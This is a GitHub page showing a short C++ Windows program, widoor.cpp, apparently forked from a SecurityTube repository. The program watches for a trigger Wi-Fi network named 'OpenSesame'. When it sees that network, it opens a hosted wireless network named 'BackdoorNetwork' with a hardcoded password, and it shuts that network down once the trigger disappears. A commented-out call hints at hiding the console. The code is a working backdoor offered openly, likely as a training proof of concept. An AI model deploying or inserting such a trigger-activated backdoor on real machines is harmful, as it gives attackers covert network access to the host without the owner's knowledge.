forked from securitytube/wi-door
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwidoor.cpp
59 lines (41 loc) · 1.43 KB
/
widoor.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// testWhn.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <iostream>
#include <conio.h>
#include "Wlan.h"
int _tmain( int argc, _TCHAR* argv [] )
{
const char * ssid = "OpenSesame";
const char * hostedNetworkSsid = "BackdoorNetwork";
const char * hostedNetworkKey = "abcd12345";
Wlan wlan;
//FreeConsole();
while (true) {
std::wcout << _T( "scanning..." ) << std::endl;
if (wlan.IsNetAvailable( ssid )) {
std::wcout << _T( "network: " ) << ssid << _T( " found" ) << std::endl;
if (wlan.StartHostedNet( hostedNetworkSsid, hostedNetworkKey, 100 )) {
std::wcout << _T( "network: " ) << hostedNetworkSsid << _T( " created" ) << std::endl;
std::wcout << _T( "now waiting for shutdown signal!" ) << std::endl;
//_getch();
while (true) {
std::wcout << _T("sleeping 5 seconds") << std::endl;
Sleep(5 * 1000);
if (!wlan.IsNetAvailable(ssid)) {
std::wcout << _T("shutdown received! closing hosted network!") << std::endl;
wlan.StopHostedNet();
break;
}
}
}
else {
std::wcout << _T( "failed to create network: " ) << hostedNetworkSsid << std::endl;
break;
}
}
std::wcout << _T( "waiting 5 seconds..." ) << std::endl;
Sleep( 5 * 1000 );
}
return 0;
}